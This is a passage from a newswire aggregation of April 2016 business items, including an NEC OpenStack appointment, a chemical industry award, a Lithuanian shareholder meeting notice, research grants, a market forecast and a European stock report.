TOKYO, Apr 22, 2016 - (JCN Newswire) - NEC Corporation (NEC; TSE: 6701) today announced that Mr. Kenichi Ohmichi, Senior Software Engineer, Global Solution Platform Center, NEC Corporation of America, has been named Project Team Leader (PTL) with the OpenStack Community's Quality Assurance (QA) Project. This is the first time that a Japanese national has been awarded this honor.OpenStack is a cloud operating system that controls large amounts of compute, storage and networking resources throughout a datacenter. Mr. Ohmichi has made important contributions to improving the quality of OpenStack as a member of the OpenStack Community's QA Project, one of the most important of the OpenStack Community's approximately 50 projects.The PTL is a valuable representative of the OpenStack Community who is responsible for formulating and discussing project development targets, as well as participating in negotiations and debates regarding these targets, while leading a diverse team of developers who are based throughout the world.Ohmichi has been active in the OpenStack Community since 2012, where he has helped to develop the "Nova V2.1 API" and the "Tempest Integration Test" for the Nova and QA projects. Ohmichi's selection as a PTL reflects the valuable contributions he has made to the OpenStack Community."We congratulate Mr. Ohmichi on his election as the Quality Assurance PTL. DefCore interoperability testing is a priority for the Foundation this year, and this relies on a close working relationship with the QA team. We look forward to progress in this effort under Mr. Ohmichi's leadership," said Mark Collier, COO of the OpenStack Foundation."High expectations are being placed on the possibilities for OpenStack's application across a wide range of domains, including IoT and blockchains," Ohmichi said. "Going forward, we will continue to cooperate with talented developers throughout the world in order to reinforce the quality of our products and secure confidence from our users."In recent years, the use of OpenStack has been expanding globally with the deployment of OSS cloud infrastructure. Under this environment, NEC has been actively participating in the OpenStack Community since 2012, and is ranked 6th globally, 1st in Japan, in the level of contributions it has made to the number (release cycles) of integrated patches (revision codes) for the latest version of OpenStack, "Mitaka"(1).NEC members are scheduled to have active roles in 9 sessions at the OpenStack Summit Austin, taking place in Austin, Texas from April 25 - 29, 2016. For more information on the OpenStack Summit Austin, please visit https://www.openstack.org/summit/austin-2016/.(1) Source: Stackalytics.comhttp://stackalytics.com/?metric=commits&release=mitakaAbout NEC CorporationNEC Corporation is a leader in the integration of IT and network technologies that benefit businesses and people around the world. By providing a combination of products and solutions that cross utilize the company's experience and global resources, NEC's advanced technologies meet the complex and ever-changing needs of its customers. NEC brings more than 100 years of expertise in technological innovation to empower people, businesses and society. For more information, visit NEC at http://www.nec.com.Based on its Mid-term Management Plan 2015, the NEC Group globally provides "Solutions for Society" that promote the safety, security, efficiency and equality of society. Under the company's corporate message of "Orchestrating a brighter world," NEC aims to help solve a wide range of challenging issues and to create new social value for the changing world of tomorrow. For more information, please visit http://www.nec.com/en/global/about/solutionsforsociety/message.html.Source: NEC CorporationContact:Copyright 2016 JCN Newswire . All rights reserved.
LONDON and NEW YORK, April 22, 2016 /PRNewswire/ --

The 2016 ICIS Kavaler Award, sponsored by The Chemists' Club, and in association with The Valence Group, will be awarded to Jim Ratcliffe, chairman of INEOS, in recognition for outstanding achievement as voted on by his peers.

(Logo: http://photos.prnewswire.com/prnh/20160408/353056LOGO )

This unique global chemical industry award will be presented to Mr. Ratcliffe at a black tie dinner ceremony on Wednesday, September 14, 2016, at the Metropolitan Club of New York, in New York City.

The winner of the ICIS Kavaler Award is selected by his/her peers - the senior executives in the ICIS Top 40 Power Players listing - a global ranking of the leaders making the greatest positive impact on the chemical industry.

"I am delighted to receive this award on behalf of INEOS. We live in challenging times and it is essential that our industry responds rapidly to those challenges. That is what we have been trying to achieve in INEOS and I'm proud for all of our employees that those efforts have been recognised by our peers," said Ratcliffe.

"Jim Ratcliffe has led INEOS as one of the most creative and intrepid chemical companies worldwide. By investing in his long-term vision, INEOS is the first ever to import US ethane for local petrochemical production. The company is also on the forefront of shale gas exploration in the UK and has been a key consolidator in the European polyvinyl chloride (PVC) sector," said Joseph Chang, global editor of ICIS Chemical Business.

In the award selection process, ICIS and The Chemists' Club invited each of the ICIS Top 40 Power Players for 2015 to vote for three individuals on the ballot, based on newsworthy achievement in one or more of the following categories:



- Profitability/shareholder value

- Mergers and acquisitions (deals or integration)

- Projects/capital investment

- Innovation - technology, product, business process with an impact on industry and society

Previous winners of the ICIS Kavaler Award include Dow Chemical CEO Andrew Liveris (2015), former LyondellBasell CEO Jim Gallogly (2014) and former PPG Industries CEO Charles Bunch (2013).

For more information on the ICIS Kavaler Award, please contact Bernard Petersen at ICIS, bernard.petersen@icis.com, +1-646-961-0708 or Melinda Wasserman at The Chemists' Club, mwasserman@chemistsclub.org, +1-917-863-2004. Also visit: http://www.icis.com/press-releases/jim-ratcliffe-ineos-chairmain-to-receive-the-2016-icis-kavaler-award/

Background

The award is a revival of the Kavaler Award, which was presented by Chemical Market Reporter to leading chemical CEOs from 1990 to 1999, including Jon Huntsman Sr., founder, chairman and CEO of Huntsman, and Frank Popoff, chairman and CEO of Dow Chemical. Arthur Kavaler, who served for 46 years as reporter, editor and eventually publisher and editor-in-chief of Chemical Market Reporter - one of the three publications incorporated into ICIS Chemical Business - passed away at the age of 91 on January 18, 2012. Kavaler, a probing reporter and an editor with unwavering conviction, had a major impact on chemical industry journalism.

About ICIS

ICIS Chemical Business is part of ICIS. ICIS is the world's largest petrochemical market information provider and has fast-growing energy and fertilizer divisions. Our aim is to give companies in global commodities markets a competitive advantage by delivering trusted pricing data, high-value news, analysis and independent consulting, enabling our customers to make better-informed trading and planning decisions. We have more than 30 years' experience in providing pricing information, news, analysis and consulting to buyers, sellers and analysts.

With a global staff of more than 800, ICIS has employees based in Houston, Washington, New York, London, Montpellier, Dusseldorf, Karlsruhe, Milan, Barcelona, Mumbai, Singapore, Guangzhou, Beijing, Shanghai, Yantai, Tokyo and Perth. ICIS is a division of Reed Business Information, part of RELX Group.

Subscribe to ICIS Chemical Business at http://www.icis-subs.com.

About Reed Business Information

Reed Business Information provides information and online data services to business professionals worldwide. Customers have access to our high-value industry data, analytics, information and tools. Our strong global brands hold market-leading positions across a wide range of industry sectors including banking, petrochemicals and aviation where we help customers make key strategic decisions every day. RBI is part of RELX Group plc, a leading global provider of data, information and solutions for professional customers.

About INEOS

INEOS is a global manufacturer of petrochemicals, speciality chemicals and oil products. It comprises 18 businesses each with a major chemical company heritage. Its production network spans 65 manufacturing facilities in 16 countries throughout the world. INEOS products make a significant contribution to saving life, improving health and enhancing standards of living for people around the world. Its businesses produce the raw materials that are essential in the manufacture of a wide variety of goods: from paints to plastics, textiles to technology, medicines to mobile phones - chemicals manufactured by INEOS enhance almost every aspect of modern life. http://www.ineos.com

About The Chemists' Club

Founded in 1898, The Chemists' Club's mission is both professional and social. As a nonprofit 501(c)3 educational organization, it provides networking opportunities for members to mix and meet with others who share interests in chemical, paper, pharmaceuticals, metals, biotech, and similar industries. The Club is also working to introduce local college students to the range of career opportunities available in the chemical industry today. Members include chemists, chemical industry management, formulators, security analysts, attorneys, educators, and other professions. For more information about The Chemists' Club, please go to http://www.thechemistsclub.com.

About The Valence Group

The Valence Group is a specialist investment bank offering M&A advisory services exclusively to companies and investors in the chemicals, materials and related sectors. The Valence Group team includes a unique combination of professionals with backgrounds in investment banking and strategic consulting within the chemicals and materials industries, all focused exclusively on providing M&A advisory services to the chemicals and materials sector. The firm's offices are located in New York and London. http://www.valencegroup.com

Contacts:

ICIS Chemical Business

Bernard Petersen

Bernard.petersen@icis.com

+1-646-961-0708



The Chemists' Club

Melinda Wasserman

mwasserman@chemistsclub.org

+1-917-863-2004



INEOS

Richard Longden

E: richard.longden@ineos.com

+41 (0) 216 277 063



The Valence Group

Telly Zachariades

tzachariades@valencegroup.com

+1-212-847-7340


Indication of the rights accounting day Notice is hereby given that on the initiative and by the resolution of the Board of AB Klaipedos Nafta, legal entity code 110648893, with the registered office at Buriu g. 19, Klaipeda (hereinafter, the Company), from 18 March 2016, an ordinary General Meeting of Shareholders of the Company will be held on 26 April 2016 at 1:00 p.m. The meeting will be held in the Company's offices at Buriu g. 19, Klaipeda, in the administrative premises of the Company (in the hall of the meeting on the 2nd Floor).Agenda of the meeting:1. On the announcement of the Auditor's Report regarding the Financial Statements and Annual Report of the Company for the year 2015 to the shareholders.2. On the announcement of the Annual Report of Klaipedos nafta, AB for the year 2015 to the shareholders.3. On the approval of the audited Financial Statements of Klaipedos nafta, AB for the year 2015.4. On the appropriation of profit (loss) of Klaipedos nafta, AB for the year 2015.The shareholders will be registered from 12.00 a.m. to 12.55 a.m. The persons intending to participate in the meeting shall have a personal ID document (an authorised representative shall have additionally a proxy approved under the established procedure. The natural person's proxy shall be notarised. A proxy issued in a foreign state shall be translated into the Lithuanian language and legalised under the procedure prescribed by laws).A shareholder or his proxy shall have the right to vote in writing in advance by filling in a general ballot paper. At the request of the shareholder, the Company shall send a general ballot paper to the shareholder by registered mail free of charge at least 10 days before the meeting. The filled-in general ballot paper and the document attesting the voting right shall be submitted to the Company no later than until the meeting, sending by registered mail or providing them at the address of the registered office of the Company indicated in the notice.The shareholders who hold shares carrying at least 1/20 of all the votes may propose additions to the agenda of the general meeting of shareholders by submitting with every proposed additional item of the agenda a draft resolution of the general meeting of shareholders or, when no resolution is required, an explanation. Proposals on addition to the agenda shall be submitted in writing or sent by e-mail. Written proposals shall be submitted to the Company on business days or sent by registered mail at the address of the registered office of the Company indicated in the notice. Proposals submitted by e-mail shall be sent to the following e-mails: info@oil.lt and r.valunas@oil.lt. The agenda shall be supplemented if the proposal is received no later than 14 days before the ordinary general meeting of shareholders. If the agenda of the general meeting of shareholders is supplemented, the Company shall notify on the additions no later than 10 days before the meeting in the same ways as in the case of convocation of the meeting.The shareholders, who hold shares carrying at least 1/20 of all the votes, at any time before the general meeting of shareholders or during the meeting, may propose new draft resolutions on items which are or will be included in the agenda of the meeting. The proposals may be submitted in writing or sent by e-mail. Written proposals shall be submitted to the Company on business days or sent by registered mail at the address of the registered office of the Company indicated in the notice. Proposals submitted by e-mail shall be sent to the following e-mails: info@oil.lt and r.valunas@oil.lt.The shareholders shall have the right to submit to the Company in advance questions relating to the items on the agenda of the meeting. The shareholders may submit their written questions to the Company on business days or send by registered mail at the address of the registered office of the Company indicated in the notice no later than 3 business days before the meeting. The Company will reply to the questions by e-mail or in writing before the meeting, except the questions which are related to the Company's commercial (industrial) secret, confidential information or which have been submitted later than 3 business days before the meeting.The Company does not provide the possibility of participating and voting at the meeting by means of electronic communications means.The Shareholder shall have the right to authorize through electronic communications means another person (natural or legal) to participate and vote in the meeting on behalf of the shareholder. No notarisation of such authorization is required. The shareholder must confirm the proxy issued through electronic communications means by an electronic signature developed by a secure signature-creation device and approved by a qualified certificate effective in the Republic of Lithuania. The shareholder shall inform the Company on the proxy issued through electronic communications means to the following e-mails: info@oil.lt and r.valunas@oil.lt no later than until the last business day before the meeting at 1:00 p.m. The proxy and the notice must be issued in writing. The proxy and the notice to the Company shall be signed with the electronic signature but not the letter sent by e-mail. By submitting the notice to the Company, the shareholder shall include the internet address from which it would be possible to download software free of charge to verify the shareholder's electronic signature.The record date of the meeting shall be 19 April 2016 (only those persons who will be shareholders of the Company at the close of the record date of the general meeting of shareholders or their authorised persons, or persons with whom an agreement on assignment of the voting right has been executed, may participate and vote at the general meeting of shareholders).The rights accounting day shall be 10 May 2016 (the persons who were shareholders of the company at the close of the tenth business day after the General Meeting of Shareholders that adopted the relevant decision may enjoy property rights).The shareholders of the Company may familiarise with the draft resolution of the meeting and the form of the general ballot paper under the procedure prescribed by laws in the registered office of the Company at Buriu g. 19, Klaipeda (tel.: 8 46 391636), or on the Company's website at http://www.oil.lt/. The following information and documents shall be provided on the abovementioned internet website of the Company:- the notification on convocation of the meeting;- total number of the Company's shares and the number of shares with voting rights on the convening day of the meeting.Enclosed:1. Draft decision of the General Meeting of Shareholders.2. General voting ballot paper of the General Meeting of Shareholders.3. Financial Statements of Klaipedos nafta, AB for the year 2015, prepared in accordance with the International Financial Reporting Standards, as adopted by the European Union, presented together with the Independent Auditor's Report and Annual Report for the year 2015;4. Draft appropriation of profit (loss) of Klaipedos nafta, AB for the year 2015.Marius Pulkauninkas, Director of Finance and Administration Department, +370 46 391 763.Attachment:https://cns.omxgroup.com/cds/DisclosureAttachmentServlet?messageAttachmentId=557662
PORLOCK, England, April 22, 2016 /PRNewswire/ --

First Sustainable Food Community Interest Company

Porlock Bay Oysters, the community project formed to bring oysters back to Porlock after over 100 years, is now ready to start selling and are having a launch party on 2nd May 2016. After three years of a successful trial growing oysters on the beach near Porlock Weir in Somerset, Porlock Bay Oysters achieved a category A classification from the Food Standards Agency. This is the highest category available and is one of only 3 such sites in the whole of England and Wales. In addition, Porlock Bay is the first community based sustainable shellfish group in the UK.

At long last this will mean 'full speed ahead for Porlock Bay Oysters,' a brand which has been built with support from the community. The initial product trial received grants from Fishmonger's Hall, Exmoor National Park, Porlock Parish Council and others. Once it had proven successful, Power to Change awarded a grant to help launch the business along with community funding from the people of Porlock whose generosity has been overwhelming. Together these grants and loans, coupled with the huge interest from local restaurants and others, mean that Porlock Bay Oysters is set to be a successful community business bringing back a traditional industry to where it started. This will include creating full and part-time jobs for local workers as well as an apprenticeship scheme.

About Porlock Futures C.I.C.

In 2012 the Porlock Futures group was set up by Porlock Parish Council. Its aims are to identify and deliver projects of benefit to the local community, which are in line with its heritage and environment. Specifically it looks at projects that will create jobs and help the local economy. It has now set up a Community Interest Company with all the directors being local, unpaid volunteers. Porlock Bay Oysters is our first project to come to maturity.

About Power to Change

Started in 2015, Power to Change is an independent charitable trust endowed with 150 million from the Big Lottery Fund to grow community business in England.

Over the next nine years, they will provide funding and support to help build many more sustainable community businesses that have positive economic, social and environmental impact in local places across England.

For more information, please contact Roger Hall at porlockbayoysters@gmail.com or phone +44(0)1643-862462.

http://www.porlockbayoysters.co.uk/
Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
TOKYO, Apr 22, 2016 - (ACN Newswire) - Tanaka Memorial Foundation (Representative: Hideya Okamoto) announced today the recipients of its 2015 Precious Metals Research Grants. After a strict examination of applications, the Gold Award, worth 2 million yen, was granted to Motoi Oishi, Lecturer at the University of Tsukuba. Young Researcher Awards, which is a new category this year, were granted to Mitsuru Yasuda, Postdoctoral Fellow at the Kwansei Gakuin University, and Tomoyuki Yokota, Project Research Associate at the University of Tokyo. Four Silver Awards were also granted this year.Tanaka Precious Metals develops and provides a stable supply of a variety of precious metal materials based on the corporate philosophy of "realizing a prosperous society and a beautiful future for our world through precious metals," and is working to contribute to the advancement and stability of industry and the economy in addition to the realization of a prosperous and affluent living environment. This grant program has been implemented every year since 1999 to support the various challenges faced in the "new world opened up by precious metals" as part of these business activities. In the 17th year of the program, Tanaka Holdings has passed the mantle of the awards to the Tanaka Memorial Foundation, which was established in 2015 to celebrate the 130th anniversary of the company.This year, research applications were accepted from all fields related to new technologies, and research and development in which precious metals can make a contribution. A total of 154 applications were received in the end, with 11.4 million yen in research grants being distributed across 34 different research topics. The names of the recipient of the Gold Award and the two recipients of the Young Researcher Awards, together with their research projects and the reasons for the awards are shown below.- Motoi Oishi, Lecturer, University of TsukubaDevelopment of High-sensitivity, Simple Biosensors Utilizing Chemical Reactions on the Gold Nanoparticle InterfaceThis research project seeks to detect micro RNA molecules directly, using a simple and highly sensitive process, without enzymes or equipment. It has become clear over recent years, that micro RNA is involved in a range of diseases, so there is a growing recognition of the importance of its measurement. This research was highly evaluated for enabling visual, high-sensitivity measurement of micro RNA within the exosomes in blood, by binding the DNA used to measure these micro RNAs to gold nanoparticles.- Mitsuru Yasuda, Postdoctoral Fellow, Kwansei Gakuin UniversityDevelopment of Nano-biochips for Ultra High-sensitivity Diagnosis of CancerThis research project seeks to apply nano thin-film interference substrates, with dielectrics formed on silver substrates, to clinical examinations. Application of previously-developed high-contrast fluorescent imaging technologies to the field of immunoassay is expected to enable ultra high-sensitivity detection of cancer markers and other target proteins. This research was highly evaluated for its use of precious metals to directly improve the sensitivity of immunoassays.- Tomoyuki Yokota, Project Research Associate, The University of TokyoDevelopment of Printed Temperature Sensors Using Conductive ParticlesThis research project seeks to apply printed flexible electronics to specific products. There has been extensive research and development of wearable healthcare devices over recent years, with precious metals playing an important role in such areas as performance enhancement. This research was highly evaluated for its potential for broad social acceptance because direct application of temperature sensors to the human body and other objects is expected to be needed not only in healthcare and medical applications, but also in other fields requiring a range of temperature measurements.In addition, 4 Silver Awards and 27 MMS Awards were given, as shown along with the overview of the research grants shown below. Applications for the 2016 research grants are scheduled to open in autumn.List of Recipients of the 2015 Precious Metals Research Grants- Platinum Award (0 award)None granted- Gold Award (1 award, 2 million yen each)Motoi Oishi, Lecturer, University of TsukubaDevelopment of High-sensitivity, Simple Biosensors Utilizing Chemical Reactions on the Gold Nanoparticle Interface- Young Researcher Awards (2 awards, 1 million yen each)Mitsuru Yasuda, Postdoctoral Fellow, Kwansei Gakuin UniversityDevelopment of Nano-biochips for Ultra High-sensitivity Diagnosis of CancerTomoyuki Yokota, Project Research Associate, The University of TokyoDevelopment of Printed Temperature Sensors Using Conductive Particles- Silver Awards (4 awards, 500,000 yen each)Yuichi Negishi, Associate Professor, Tokyo University of ScienceCreation of High-activity Water-splitting Optical Catalyst Materials for Building a Next-generation Hydrogen-based Society Utilizing Strict Composition Control Technologies for Precious Metal NanoclustersHideki Hirano, Assistant Professor, Tohoku UniversityDevelopment of Wafer-level High-vacuum Hermetic Sealing Technology Using Cut and Flattened Silver BumpsHideyuki Mitomo, Assistant Professor, Hokkaido UniversityDevelopment of a Method for High-sensitivity Detection of Biomolecules Using Movable Silver Nano-structuresHiroyuki Kawada, Professor, Waseda UniversityCreation of Ultra-lightweight, Highly Conductive Carbon Nanotube/Gold Composite Fibers- MMS Awards (27 awards, 200,000 yen each)Tamotsu Zako, Professor, Ehime UniversityMasato Watanabe, Chief Research Scientist, Research Institute for Electromagnetic MaterialsKatsutoshi Nagaoka, Associate Professor, Oita UniversityYasuyuki Miyazawa, Professor, Tokai UniversityHiroshi Shiigi, Associate Professor, Osaka Prefecture UniversityRyota Takahashi, Assistant Professor, The University of TokyoHideaki Komiyama, Project Assistant Professor, Kyushu UniversityHitoshi Tabata, Professor, The University of TokyoTsuyohiko Fujigaya, Associate Professor, Kyushu UniversityTatsuya Tsukuda, Professor, The University of TokyoHiroaki Yonemura, Associate Professor, Kyushu UniversityYasunari Matsuno, Associate Professor, The University of TokyoTeruyuki Kondo, Professor, Kyoto UniversityRikiya Watanabe, Assistant Professor, The University of TokyoShunsuke Murai, Assistant Professor, Kyoto UniversityYuta Nabae, Assistant Professor, Tokyo Institute of TechnologyMitsuhiro Matsuda, Associate Professor, Kumamoto UniversityJiuhui Han, Tohoku UniversityTadaharu Ueda, Associate Professor, Kochi UniversityYuzuru Miyazaki, Professor, Tohoku UniversityKazutaka Hirakawa, Associate Professor, Shizuoka UniversityToshihiko Noda, Assistant Professor, Nara Institute of Science and TechnologyMakoto Hasegawa, Professor, Chitose Institute of Science and TechnologyKei Murakoshi, Professor, Hokkaido UniversityYukiko Yasukawa, Associate Professor, Chiba Institute of TechnologyYuta Matsushima, Associate Professor, Yamagata UniversityKenji Katayama, Professor, Chuo UniversityOverview of the 2015 Precious Metals Research GrantsSubject:New technologies, and research and development, to which precious metals can make a contributionGrant amounts:- Platinum Award: 5 million yen (1 award)- Gold Award: 2 million yen (1 award)- Silver Awards: 500,000 yen (several awards)- Young Researcher Awards (for researchers of up to 37 years of age): 1 million yen (1 award)- MMS Awards: 200,000 yen (several awards)* The grant amount is treated as a scholarship donation.* Each award is given to research deemed to make a particularly large contribution to commercialization and practical implementation, and awards may not be granted in some cases.Eligible candidates:- Personnel who belong to educational research institutions or public research institutes in Japan- Applicants belonging to research institutions in Japan are eligible regardless of whether they are based in Japan or overseas.- Young Researcher Awards are given to young researchers aged up to 37 years old as of April 1, 2015.Application period:October 1, 2015 (Thu) - 5pm, November 30, 2015 (Mon)Conditions:- Precious metals must play an important role in commercialization and/or practical implementation of the research.- Development related to precious metals must provide a breakthrough in the progress of the commercialization and/or practical implementation.- When applying with joint research, the representative should apply.- Students must obtain approval from the person responsible for their laboratory in order to submit an application.- It should be clearly stated if the research is being performed with other precious metal manufacturers (including planned).- Applicants may be required to exchange information with Tanaka Precious Metals about product development, technology development, and guidance through the research.- Excludes research that has already been commercialized or for which there are such plans.- Excludes fundamental research such as analysis, evaluation and production technology.Inquiries concerning the research grant program:Precious Metals Research Grants OfficeMarketing Department, Tanaka Kikinzoku Kogyo K.K.22F Tokyo Building, 2-7-3 Marunouchi, Chiyoda-ku, Tokyo 100-6422TEL: 03-6311-5596 FAX: 03-6311-5529 E-mail: joseikin@ml.tanaka.co.jpTanaka Memorial Foundation website: http://tanaka-foundation.or.jpPress release: http://www.acnnewswire.com/clientreports/1339/160422_EN.pdfTanaka Memorial FoundationEstablished: April 1, 2015Address: 22F Tokyo Building, 2-7-3 Marunouchi, Chiyoda-ku, TokyoRepresentative: Hideya Okamoto (Senior Advisor to Tanaka Holdings Co., Ltd.)Purpose of Business: To provide grants for research related to precious metals in order to contribute to the development and cultivation of new fields for precious metals, and to the development of science, technology and the social economy.Areas of Business:- Provision of grants for scientific and technological research related to precious metals.- Recognition of excellent research related to precious metals and holding of seminars and other events.About the Tanaka Precious MetalsEstablished in 1885, the Tanaka Precious Metals has built a diversified range of business activities focused on the use of precious metals. On April 1, 2010, the group was reorganized with Tanaka Holdings Co., Ltd. as the holding company (parent company) of the Tanaka Precious Metals. In addition to strengthening corporate governance, the company aims to improve overall service to customers by ensuring efficient management and dynamic execution of operations. Tanaka Precious Metals is committed, as a specialist corporate entity, to providing a diverse range of products through cooperation among group companies.Tanaka Precious Metals is in the top class in Japan in terms of the volume of precious metal handled, and for many years the group has developed and stably supplied industrial precious metals, in addition to providing accessories and savings commodities utilizing precious metals. As precious metal professionals, the group will continue to contribute to enriching people's lives in the future.Press inquiriesTanaka Holdings Co., Ltd.https://www.tanaka.co.jp/en/protanaka/inquiry/index.phpSource: Tanaka Holdings Co., Ltd.Copyright 2016 ACN Newswire . All rights reserved.
ABOUT DOMETIC GROUP Dometic is a global market leader in branded solutions for mobile living in the areas of Climate, Hygiene Sanitation and Food Beverage. Dometic operates in the Americas, EMEA and Asia Pacific, providing products for use in recreational vehicles, trucks and premium cars, pleasure and workboats, and for a variety of other uses. Dometic offer products and solutions that enrich people's experiences away from home, whether in a motorhome, caravan, boat or a truck. Our motivation is to create smart and reliable products with outstanding design. We operate 22 manufacturing/assembly sites in nine countries, sell our products in approximately 100 countries and manufacture approximately 85% of products sold in-house. We have a global distribution and dealer network in place to serve the aftermarket. Dometic employs approximately 6,500 people worldwide, had net sales of SEK 11.5 billion in 2015 and is headquartered in Solna, Sweden

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
VIENNA (dpa-AFX) - European stocks extended declines for a second consecutive session on Friday as the scandal engulfing Mitsubishi Motors deepened and investors locked in some profits in mining as well energy stocks. A closely-watched survey painted a sluggish picture of Eurozone business activity in April, further weighing on investor sentiment. The pan-European Stoxx Europe 600 index was down 0.2 percent at 159.42 in midday trading after hitting as low as 158.60 earlier in the session. Stocks elsewhere across Europe also recouped some early losses. The German DAX and France's CAC 40 last traded down about 0.2 percent while the U.K.'s FTSE 100 was losing 0.7 percent. German carmaker Daimler slumped over 6 percent after reporting a drop in its first-quarter profit and opening an investigation into its emissions testing process at the request of the U.S. Department of Justice. Rival Volkswagen lost 2.5 percent after reaching an agreement with the U.S. Environmental Protection over the diesel emission scandal. Renault and Peugeot dropped 2-3 percent in Paris on concerns that the emission scandal could spread to more car makers. PSA Peugeot Citroen offices have been raided by anti-fraud squad as part of a probe into emissions. Luxury group Kering plummeted 5 percent after its first-quarter sales trailed analysts' estimates. Aerospace group Zodiac Aerospace soared 10 percent on a Bloomberg report that aircraft engine maker Safran is considering an offer for the company. Safran shares declined 2 percent. Commodity-related stocks such as Anglo American, Glencore, Rio Tinto, BP Plc and Royal Dutch Shell lost 2- 5 percent. Premier Foods lost 1 percent after entering into a 'relationship agreement' with Japanese noodle maker Nissin Food Holdings. Darty shares advanced half a percent as the bidding war for the electrical retailer intensifies. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
PUNE, India, April 22, 2016 /PRNewswire/ --

According to the new market research report "Compressor Control Systems Market by Component (Controlling: (PLC and SCADA) & Networking), Application (Oil & Gas, Refining, Petrochemical, Power Generation, Metals & Mining, Water & Wastewater and Fertilizer), and Geography - Global Forecast to 2022", published by MarketsandMarkets, the market, in terms of value, is estimated to grow at a CAGR of 4.7% between 2016 and 2022 and is expected to reach USD 6.39 Billion by 2022.

(Logo: http://photos.prnewswire.com/prnh/20160303/792302 )



Browse 100 market data Tables and 96 Figures spread through 204 Pages and in-depth TOC on"Compressor Control Systems Market"

http://www.marketsandmarkets.com/Market-Reports/compressor-control-system-market-78887295.html

Early buyers will receive 10% customization on this report.

Massive investments in power and water sectors are expected to emerge as the second largest source for compressor installations in the next couple of years. Also, the continued expansion of petrochemicals, chemicals, and fertilizers industries is expected to result in a significant demand for compressors.

Oil & gas industry expected to hold the largest share of the compressor control systems market, by 2022

Compressors are widely used in the oil & gas industry in various core activities, starting from the initial treatment of crude oil/natural gas to transporting it through pipelines. They increase the pressure of the natural gas through heat and allow it to be transported from the production facility through the supply chain to end users.

Applications in the oil & gas industry accounted for the largest market share in 2015. This market is expected to grow at a high CAGR between 2016 and 2022. The number of compressors in the energy sector has increased greatly over the last few years, owing to the increased activity in the oil & gas production, transmission, and storage sectors.

Market in APAC expected to grow at the highest rate during the forecast period

The market in APAC is expected to grow at the highest CAGR between 2016 and 2022. In APAC, a majority of the demand for compressors comes from their installations in varied end-user industries such as oil & gas, petrochemical, power generation, and heavy industries such as cement and metals. The increase in the production capacity in petrochemical, oil & gas, and power generation plants is expected to spur the growth of compressor control systems in this region.

The report describes the drivers, restraints, challenges, and opportunities for the growth of the Compressor Control System Market along with market size forecast till 2022. The report also gives a qualitative and quantitative description about different industries considered for the compressor control system market. This global report gives a detailed view of the market across the four geographical regions, namely, the Americas, Europe, Asia-Pacific (APAC), and RoW.

Inquiry Before Buying: http://www.marketsandmarkets.com/Enquiry_Before_Buying.asp?id=78887295

The report profiles the most promising players in the compressor control system market. The key players in the compressor control systems market are General Electric Co. (U.S.), Rockwell Automation, Inc. (U.S.), Schneider Electric (France), Siemens AG (Germany), Wood Group Plc. (U.K.), Atlas Copco (Sweden), and Ingersoll Rand (Ireland).

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http://www.marketsandmarkets.com/Market-Reports/control-valves-market-%20111759647.html

Advanced Process Control Market by Revenue Source (Software And Services), Application (Oil & Gas, Petrochemicals, Water & Wastewater, Chemicals, Power, Paper & Pulp, Pharmaceuticals, Food) And By Geography- Analysis & Forecast (2014 - 2020)

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CYPV Energy, a company headquartered in Limassol, Cyprus, is set to build five new solar PV plants in the country totaling 11.9 MW. Greece's Sunel Ltd is serving as the engineering, procurement and construction (EPC) contractor for the projects, while SunTechnics, a subsidiary of GDL Green Energy, which also owns CYPV Energy, will handle management, operation and maintenance of the parks. Construction of the project is scheduled to begin this month and last some eight months, a company spokesman told pv magazine. The plants are part of a portfolio of six solar PV projects that CYPV Energy won via a competitive tender for photovoltaic capacity in January 2013. The sixth project is a 10 MW solar farm that was the biggest project of the tender and whose construction is yet to be announced. Of the twenty three PV parks tendered in 2013, pv magazine has learned that until now, only five projects (corresponding to 8.1 MW) have been installed and connected to the grid. Commenting on the delay in building the tendered projects, the CYPV spokesman said red tape was a major factor. The projects face huge bureaucratic hurdles at all stages of the licensing procedure, he added. As a consequence, project financing is often delayed. "Banks, for example, will not approve any loan if all licenses are not in place." Needless to say that the recent financial crisis that hit the country in 2013 and led to the closure of local banks and a haircut in all banks' deposits has made the banking sector all the more risk averse. Energy storage ahead Nevertheless, the bad times appear ...

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Cavotec SA ("the Company") today held its Ordinary General Meeting ("OGM") in Lugano, Switzerland, while shareholders could follow the proceedings via a passive video-link from Stockholm, Sweden. Fabio Cannavale chaired the OGM.At the OGM the following resolutions were passed:1. Annual report, financial statements and consolidated financial statements for the year 2015, report of the Statutory AuditorsThe OGM adopted the Board of Directors' proposal that the annual report, the financial statements and the consolidated financial statement for the year 2015 be approved.2. Appropriation of available earningsThe OGM adopted the Board of Directors' proposal for the following appropriation:CHFCarried forward from previous years (7,645,835)Net gain/loss for the financial year 2015 (11,067,235)Total earnings available (18,713,070)Appropriation to general statutory reserves (retained earnings) 0Appropriation to other reserves 0Proposed balance to be carried forward (18,713,070)3. Grant of Discharge from Liability to the Board of Directors and Persons entrusted with the Management from Activities during Business Year 2015The OGM granted discharge to all the members of the Board of Directors and the CEO and CFO for the business year 2015.4. Capital reduction through partial nominal value repaymentThe OGM adopted the Board of Directors' proposal:a) to reduce the current share capital of CHF 108,379,680 by CHF 2,356,080 to CHF 106,023,600 by way of reducing the 